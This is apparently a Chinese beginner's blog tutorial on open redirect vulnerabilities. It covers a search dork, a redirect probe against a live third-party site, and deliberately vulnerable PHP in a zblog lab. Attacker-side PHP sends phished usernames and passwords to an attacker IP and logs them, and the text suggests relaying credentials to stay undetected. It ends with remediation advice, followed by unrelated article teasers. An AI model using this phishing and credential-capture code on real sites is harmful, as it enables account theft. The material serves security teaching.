URL重定向漏洞
URL重定向漏洞
- 1. URL重定向
- 1.1. 漏洞位置
- 2. URL重定向基础演示
- 2.1. 查找漏洞
- 2.1.1. 测试漏洞
- 2.1.2. 加载完情况
- 2.1.3. 验证漏洞
- 2.1.4. 成功验证
- 2.2. 代码修改
- 2.2.1. 用户端代码修改
- 2.2.2. 攻击端代码修改
- 2.3. 利用思路
- 2.3.1. 用户端
- 2.3.1.1. 验证跳转
- 2.3.2. 攻击端
- 2.3.2.1. 跳转钓鱼
- 2.3.2.2. 获取账号密码
- 2.3.2.3. 查看账号密码
- 3. 修复
- 4. 总结
1. URL重定向
URL跳转漏洞,也叫开放重定向漏洞(open redirect) 。CWE-601对该漏洞的描述为:http 参数可能包含一个 URL 值,并可能导致 Web 应用程序将请求重定向到指定的 URL。通过修改恶意站点的 URL 值,攻击者可能成功发起网络钓鱼诈骗并窃取用户凭据。简单说来就是参数可控导致的漏洞产生。
1.1. 漏洞位置
下面就是漏洞可能存在的一些位置。
- 用户登录、统一身份认证、认证完进行跳转。
- 用户分享、收藏内容跳转。
- 跨站点认证、授权后。
- 站内其它链接跳转。
- 注册、注销、修改密码等。
- 账户切换、保存设置。
2. URL重定向基础演示
这里就是简单的查找演示,不会将对真实的网站进行测试。
2.1. 查找漏洞
inurl:url=http://

2.1.1. 测试漏洞
这里可以看到URL就是一个典型的后面带地址跳转的。
https://www.lsbin.com/wp-content/themes/begin%20lts/inc/go.php?url=http://picasion.com/

2.1.2. 加载完情况
可以看到是跳转到另外一个网站了,那么就证明这个是可以利用的。

2.1.3. 验证漏洞
这里我们将后面的地址修改为百度的地址,看看是否能够正常跳转。
https://www.lsbin.com/wp-content/themes/begin%20lts/inc/go.php?url=https://baidu.com/

2.1.4. 成功验证
这里可以看到成功跳转了。

2.2. 代码修改
代码修改,这里由于特殊情况,所以需要修改一下代码。
2.2.1. 用户端代码修改
这里就是为了让用户端能够接收跳转,原本的靶场是不支持跳转的。
客户端搭建成功后,修改zb_system/login.php文件加入代码:
if(isset($_GET['url'])){header("Location: " . $_GET['url']);
}

2.2.2. 攻击端代码修改
这里就是为了能够实现一些密码读取的功能,需要对其代码进行修改,这里会代码的大佬就不用看了。
修改zb_system/cmd.php接收文件,这里的IP地址要写攻击端的,当然有域名肯定就写域名,这里是我测试。
加入代码:
$username=$_POST['username'];
$password=$_POST['password'];
echo "<script src=http://192.168.10.40/zblog/zb_system/x.php?username=$username&password=$password></script>";

同样这里需要创建一个X.php来接收数据。
创建zb_system/x.php接受文件
<?php$user=$_REQUEST['username'];
$pass=$_REQUEST['password'];
//echo $user.$pass;
$file=fopen('users.txt','a+');
fwrite($file,$user.'|'.$pass);
fclose($file);?>

2.3. 利用思路
这里我们可以这么想,既然存在跳转的情况,那么如果将URL后面的地址修改成功我们自己搭建的钓鱼界面的话,那么是不是就可以成功进行钓鱼了,比如在一些需要输入账号密码的输入框页面中,那么当跳转后,用户依旧以为是正常的跳转,实际上已经跳转到攻击者构建的网站上了。
2.3.1. 用户端
这里打开页面发现是一个登录的页面,那么登录页面就满足了我们钓鱼的想法,那么就是制作一个一模一样的登录页面,然后通过修改参数将账户密码读取出来。
http://192.168.10.30/zblog/zb_system/login.php

2.3.1.1. 验证跳转
这里验证一下跳转,这里也是成功跳转了。
http://192.168.10.30/zblog/zb_system/login.php?url=http://baidu.com

2.3.2. 攻击端
这里再上面修改好了之后,利用URL重定向进行钓鱼,把你涉及的URL发送给别人,让对方去点击,那么点击后就会跳转,若输入账号密码,那么就会得到相关的账号密码或个人信息。
2.3.2.1. 跳转钓鱼
可以看到这里是成功跳转了,如果你再创建一个域名比较像的,那么是不是就实现了迷惑?
http://192.168.10.30/zblog/zb_system/login.php?url=http://192.168.10.40/zblog/zb_system/login.php

2.3.2.2. 获取账号密码
这里就等对方输入账户密码了,这里当用户端输入账号密码后,那么再攻击端就能够看到账号密码了,当然这里是会出现登录错误的情况。
其实这里还有一个办法,如果没有验证码的情况下,可以再你的网站上做个中转,比如将用户输入的账号密码记录下来的同时,自动发送到原先的网站,然后再去校验跳转回原来的网站,这样就神不知鬼不觉了。

2.3.2.3. 查看账号密码
这里我们毕竟使用的是比如的靶场,所以密码都是加密的,如果是代码水平高,自制一个也是可以的。

3. 修复
绕过方式网上也很多,这里就不介绍了,只要给几个修复建议吧!
- 1.使用白名单
- 2.在可能的情况下,让用户提供在服务器端映射到完整目标 URL 的短名称、ID 或令牌
- 3.不允许将 URL 作为目标的用户输入
- 4.如果无法避免用户输入,请确保提供的值有效、适用于应用程序,并且已为用户授权
- 5.从应用程序中删除重定向功能,并将指向它的链接替换为指向相关目标 URL 的直接链接
4. 总结
以上就是关于url跳转漏洞的一些相关内容。这个漏洞是属于比较好理解的,适合刚入门的新手学习。这个漏洞本身是低危的,当在渗透测试时如果发现存在这个漏洞的时候,不妨看看有没有机会和其他漏洞配合扩大攻击。
相关文章:
URL重定向漏洞
URL重定向漏洞 1. URL重定向1.1. 漏洞位置 2. URL重定向基础演示2.1. 查找漏洞2.1.1. 测试漏洞2.1.2. 加载完情况2.1.3. 验证漏洞2.1.4. 成功验证 2.2. 代码修改2.2.1. 用户端代码修改2.2.2. 攻击端代码修改 2.3. 利用思路2.3.1. 用户端2.3.1.1. 验证跳转 2.3.2. 攻击端2.3.2.1…...
JavaScript(函数,作用域和闭包)
目录 一,什么是函数1.1,常用系统函数1.2,函数声明 1.3,函数表达式二,预解析2.1,函数自调用 2.2,回调函数三,变量的作用域3.1,隐式全局变量 四,作用域与块级作…...
C# 实现 国密SM4/ECB/PKCS7Padding对称加密解密
C# 实现 国密SM4/ECB/PKCS7Padding对称加密解密,为了演示方便本问使用的是Visual Studio 2022 来构建代码的 1、新建项目,之后选择 项目 鼠标右键选择 管理NuGet程序包管理,输入 BouncyCastle 回车 添加BouncyCastle程序包 2、代码如下&am…...
【docker-compose】【nginx】动态配置
需求:部署前端镜像时需要动态修改nginx反向代理的后端服务的ip地址 原.conf配置调整,改为嵌入变量的文件模版Dockerfile 修改,通过envsubst将换将变量注入模版后再运行nginxdocker-compose配置,通过environment动态修改变量 defau…...
ExpressLRS开源之接收机固件编译烧录步骤
ExpressLRS开源之接收机固件编译烧录步骤 1. 源由2. 编译步骤2.1 推荐源代码指定方案2.2 方法一:ELRS Configurator步骤一:下载ELRS Configurator工具步骤二:安装ELRS Configurator工具步骤三:使用ELRS Configurator工具进行配置步…...
提取视频文件里的音频和无声视频
一、提取视频文件里的音频: public static void generateMediaRadio(){// 视频提取器MediaExtractor extractor new MediaExtractor();try {//本地视频文件extractor.setDataSource("/storage/emulated/0/mjyyfep/alpha.mp4");//网络视频文件 // …...
SpringBoot原理
一、Bean原理 1、配置文件的优先级 SpringBoot项目当中支持的三类配置文件: - application.properties - application.yml - application.yaml 配置文件优先级排名(从高到低): 1. properties配置文件 2. yml配置文件 3. yaml…...
MySQL事务原理、MVCC详解
事务原理 1 事务基础 1). 事务 事务 是一组操作的集合,它是一个不可分割的工作单位,事务会把所有的操作作为一个整体一起向系 统提交或撤销操作请求,即这些操作要么同时成功,要么同时失败。 2). 特性 原子性(Atomi…...
在Windows操作系统上安装Neo4j数据库
在Windows操作系统上安装Neo4j数据库 一、在Windows操作系统上安装Neo4j数据库 一、在Windows操作系统上安装Neo4j数据库 点击 MySQL可跳转至MySQL的官方下载地址。 在VUE3项目的工程目录中,通过以下命令可生成node_modules文件夹。 npm install(1&am…...
国民八路参考文献:[8]许少辉.乡村振兴战略下传统村落文化旅游设计[M]北京:中国建筑工业出版社,2022.
国民八路参考文献:[8]许少辉.乡村振兴战略下传统村落文化旅游设计[M]北京:中国建筑工业出版社,2022࿰…...
24 Linux高级篇-备份与恢复
24 Linux高级篇-备份与恢复 文章目录 24 Linux高级篇-备份与恢复24.1 安装dump和restore24.2 使用dump备份24.4 使用restore恢复 学习视频来自于B站【小白入门 通俗易懂】2021韩顺平 一周学会Linux。可能会用到的资料有如下所示,下载链接见文末: 《鸟哥的…...
微信小程序的图书馆预约系统设计与实现
摘 要 近年来随着社会竞争压力的不断加剧,人们需要不断充实自己的学识来提升自己的竞争力,对于在校的大学生而言需要利用在校期间实现考研考编的内容,职场的上班族需要通过考取职业技能资格证书来实现升职加薪,各行各业的人们都在…...
《2023年网信人才培训-网络安全从业人员能力素养提升培训》第一期成功举办
随着网络强国和数字中国建设的步伐加快,建设规模宏大、结构合理、素质优良的人才队伍成为一项重要工作。知了汇智作为数字产教融合基地,通过与高校、企业等多方合作,建立了完整的网络安全人才培养生态链。凭借自身技术优势和丰富的产业资源&a…...
WebGpu VS WebGL
推荐:使用 NSDT场景编辑器 助你快速搭建3D应用场景 WEBGPU VS. WEBGL 粗略地概述一下WebGPU与WebGL的不同之处是很有用的。在不涉及太多复杂的技术细节的情况下,两者的整体设计大致如下: WebGL和OpenGL一样,涉及许多单独的函数调…...
HTML <tfoot> 标签
实例 带有 thead、tbody 以及 tfoot 元素的 HTML 表格: <table border="1"><thead><tr><th>Month</th><th>Savings</th></tr></thead><tfoot><tr><td>Sum</td><td>$180<…...
VScode的PHP远程调试模式Xdebug
目录 第一步、安装VScode中相应插件 remote-ssh的原理 ssh插件: PHP相关插件: 第二步、安装对应PHP版本的xdebug 查看PHP具体配置信息的phpinfo页面 1、首先,打开php编辑器,新建一个php文件,例如:inde…...
HTML5-2-链接
HTML使用标签 <a>来设置超文本链接。 超链接可以是一个字,一个词,或者一组词,也可以是一幅图像,您可以点击这些内容来跳转到新的文档或者当前文档中的某个部分。 默认情况下,链接将以以下形式出现在浏览器中&am…...
Java--常用jar命令
jar常用指令 jar命令参数: jar命令格式:jar {c t x u f }[ v m e 0 M i ][-C 目录]文件名... 其中{ctxu}这四个参数必须选选其一。[v f m e 0 M i ]是可选参数,文件名也是必须的。 -c 创建一个jar包 -t 显示jar中的内容列表 -x 解压jar包 …...
微服务中间件--多级缓存
多级缓存 多级缓存a.JVM进程缓存1) Caffeine2) 案例 b.Lua语法1) 变量和循环2) 条件控制、函数 c.多级缓存1) 安装OpenResty2) 请求参数处理3) 查询Tomcat4) Redis缓存预热5) 查询Redis缓存6) Nginx本地缓存 d.缓存同步1) 数据同步策略2) 安装Canal2.a) 开启MySQL主从2.b) 安装…...
clickhouse系列3:clickhouse分析英国房产价格数据
1.准备数据集 该数据集包含有关英格兰和威尔士自1995年起到2023年的房地产价格的数据,超过2800万条记录,未压缩形式的数据集大小超过4GB,在ClickHouse中需要约306MB。 2.clickhouse中建表 CREATE TABLE uk_price_paid (price UInt32,...
飞书自动化工具feishu-atuo:Python积木式开发与实战指南
1. 项目概述:飞书自动化,从零到一的效率革命 如果你和我一样,每天的工作流里都离不开飞书,那你肯定也经历过这些时刻:手动把日报、周报从文档复制到表格里归档;在多个群里重复发送同样的通知;为…...
ElevenLabs克隆成功率从31%飙升至96.7%:基于LPC共振峰校准+Prosody Transfer双引擎微调法(实测数据包已脱敏上传)
更多请点击: https://intelliparadigm.com 第一章:ElevenLabs语音克隆方法概览 ElevenLabs 提供了高保真、低延迟的语音克隆能力,其核心依赖于少量高质量语音样本(通常 1–3 分钟)与上下文感知的零样本/少样本微调技术…...
有向无环图(DAG)在Multi-Agent系统中的应用(图编排、动态DAG、Dynamic DAG)动态Agent Graph
文章目录有向无环图(DAG)在 Multi-Agent 系统中的应用一、什么是 DAG(有向无环图)二、为什么 Multi-Agent 需要 DAG三、Multi-Agent 的本质:任务图四、DAG 在 Multi-Agent 中的核心作用五、一个典型 Multi-Agent DAG六…...
开源大语言模型实战指南:从部署到微调的全流程解析
1. 项目概述:一个为开源大语言模型而生的知识库最近在折腾各种开源大语言模型(LLM)的朋友,估计都遇到过类似的烦恼:模型太多了,从Meta的Llama系列、微软的Phi,到国内的一众优秀模型,…...
java jvm知识点
下面给你一份 Java JVM 知识点全景总结(面试 实战级), 覆盖 内存结构 → 垃圾回收 → 类加载 → 调优 → 面试高频,适合 中高级 Java 面试。一、JVM 是什么?JVM(Java Virtual Machine)是 Java …...
基于五年一线体验,青岛二胎家庭收纳系统的真相
一、行业痛点分析在收纳领域,二胎家庭面临着诸多核心技术挑战。数据表明,超过70%的二胎家庭在装修时未充分考虑未来的收纳需求,导致入住后空间拥挤、物品杂乱无章。青岛三木空间设计在五年的一线服务中发现,很多二胎家庭存在以下问…...
【Midjourney Tea印相全链路解析】:从提示词工程到胶片质感渲染的7大隐性参数控制法则
更多请点击: https://intelliparadigm.com 第一章:Midjourney Tea印相的技术起源与美学范式 Midjourney Tea印相并非传统摄影工艺的简单复刻,而是融合生成式AI语义理解、茶渍拓印物理建模与东亚留白美学的一次跨媒介实验。其技术雏形可追溯至…...
Claude API与内部知识库深度耦合方案:零代码改造实现RAG增强,已验证QPS提升4.8倍
更多请点击: https://intelliparadigm.com 第一章:Claude API与内部知识库深度耦合方案:零代码改造实现RAG增强,已验证QPS提升4.8倍 该方案通过在 Claude API 请求链路中注入轻量级 RAG 中间件,无需修改业务侧任何模型…...
智能卡通信调优实战:手把手教你用逻辑分析仪抓取并解析ISO7816 PPS协商过程
智能卡通信调优实战:手把手教你用逻辑分析仪抓取并解析ISO7816 PPS协商过程 在嵌入式系统和智能卡应用开发中,通信稳定性往往是项目成败的关键。当你的智能卡设备频繁出现通信中断、数据丢失或速率不达标时,问题很可能隐藏在协议协商阶段。IS…...
手持设备串口屏应用指南:从架构解析到实战开发
1. 项目概述:为什么手持设备需要一块“聪明”的屏幕?在手持设备这个领域摸爬滚打了十几年,从早期的黑白点阵屏到后来的TFT彩屏,再到如今各种智能交互界面,我深刻感受到一个趋势:设备越来越“聪明”…...
